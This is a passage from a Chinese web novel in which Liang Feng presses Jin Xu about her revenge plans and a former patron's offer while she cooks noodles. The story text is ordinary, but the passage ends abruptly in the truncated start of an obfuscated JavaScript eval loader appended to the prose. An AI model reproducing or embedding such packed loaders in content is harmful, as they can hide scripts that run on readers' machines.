”
她只会说这一个字。梁风发现她拿糕点时手指微微发抖,眨眼的时候眼睛闭下的动作很用力,眼睑位置有些细微的纹路,显然是没休息好的样子,手抖是饿得。
“林童忆也会像我这样厚脸皮吗?”
“不会。”
“我觉着你对我是比对林童忆要好的。”
她不应了,吃完一包糕点,又起身去霉木架子上取了两对落灰的碗筷,揭开锅盖看了看,煮面条的水当然还没开。
梁风追随她走来走去,道:“前几年是不是放下了?因为她们的事情重新想复仇了?你说过你连皇宫都摸不着。”
“前几年没有放下。摸不着就想办法摸着。”她答。
“上回你说,你要看看林童忆能做到什么位子上去,那现在你觉着林童忆怎么样?他短短几个月就从一个看门的升为光禄勋给事谒者了。”
“那是宿卫,不是看门的。”
“看门的。”梁风道:“你觉得怎么样?是不是可造之材?”
她坐回案榻,吃另一包糕点,吃了两块,才答:“还行。”
梁风挨着她坐,“我们上一回在午亭下的谈话,是在吵架吗?”
“嗯。”
“不是,我们那时不是在吵架,只是没说明白。”梁风声声道:“上回谈话不公平,你说得太突然了,我都没有做好回应的准备。”
“现在讲明白。”她道。
现在讲明白。
他挺明白的了,只是要说又不知从何说起,梁风道:“我仔细想了想,决定重新衡量一番我在你心里的位置。”
“你什么位置?”她专心吃糕点。
梁风先不答:“我且问你,你前一阵子在城门口施粥,起初是自己煮粥,后面去大户人家派粥,你遇见了在与曦宴会上认识过的女子,那女子对你去她家里施粥的事情有没有说过什么?”
她眼风淡淡飘过来,斜斜觑着他。梁风被看得心里发虚,但是硬气道:“我知道你在干什么,你要回答我。”
她翻眼收回视线,“没说什么。”
“那户人家和朝堂大员攀亲,你知不知道?”
“知道。”
“那户人家里有个男人是从前温柔馆的宾客吗?”
“嗯。”
“那男人认出你了?他和你说了什么?”
她认真想了想,道:“他说他心疼我,说我没必要做那种活计,说我在他府里可享受荣华富贵。哦,还问我家里人住哪里,我说没家。”她再一想道:“那人应该是想收我做他的小妾吧,还说他后宅妻妾和睦,子女成群。”
梁风眼睛瞪直了看她,“然后呢?”
“然后你不知道?”
“我要听你说。”
“然后我被你耽误了。”她肃脸道:“那户人家的二小姐因为见过我,知道我曾经是安分王府的客卿,曾经和安分王不清不楚,那男的便很有些忌惮。我被你耽误了。”
“这是耽误吗?这难道不是拯救吗?”梁风立马听出来她在刻意带偏他,他绝对不会被她带偏,他掷地有声道:“你在安分王府,绝对不会是小妾!”
“不是小妾就是拯救了,了不起。”
梁风蓦地警醒,差点又被她带跑偏了,居然从接近一个结亲朝廷大员的事说到小妾和耽误,偏到话头变讽,他赶紧把话题扯回来:“这事情关键不在是不是小妾,而是你做这件事背后的原因是什么?”
“要你管。”
“你看似铺了一堆,其实啥也没干成。林童忆升了职,和你接触反而少了。你是不是在利用那位二小姐斩断你可能攀附大员的行事,早在你参加与曦那场宴会时你就有预谋了,你根本不想复仇,对不对?”
金絮瞪他,“叫你不要盯着我了!”
梁风霎时噤声,被她一凶就老实了。
金絮实打实地翻了个白眼,再去揭开锅盖,大火烧出浓浓的蒸汽,弥漫了一间屋子。她用锅铲拨弄拨弄,又撒点什么,盖上盖,蒸汽从窗户飘了出去。
“你变凶了。”他委屈巴巴。
她从霉木架子取下一只铁壶,舀入大半清水,接着从灶台后的柴火堆中翻出一支两头带弯钩的铁杆,一同放在灶旁。
梁风并膝揣手坐在榻前看着她。金絮揭开锅盖,这次面条煮好了。她开始捞面条,梁风走过去,准备帮她端碗,汤碗肯定很烫。
两碗盛满之后锅里还有剩。梁风献殷勤,立即端了一碗快速地送去榻上桌案,回头端另一碗,见她用布巾裹了碗,悠哉悠哉地端过来。
放下碗,她走回去,用布巾把住大锅两头,把整个锅端了起来,柴火烈烈冒出灶台。她将铁杆的一头挂在头顶横悬的一条粗绳上,另一头挂住水壶,水壶正好对准灶台火口。壶身太小,周围一圈还有很大的空隙,火焰冒了出来。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toS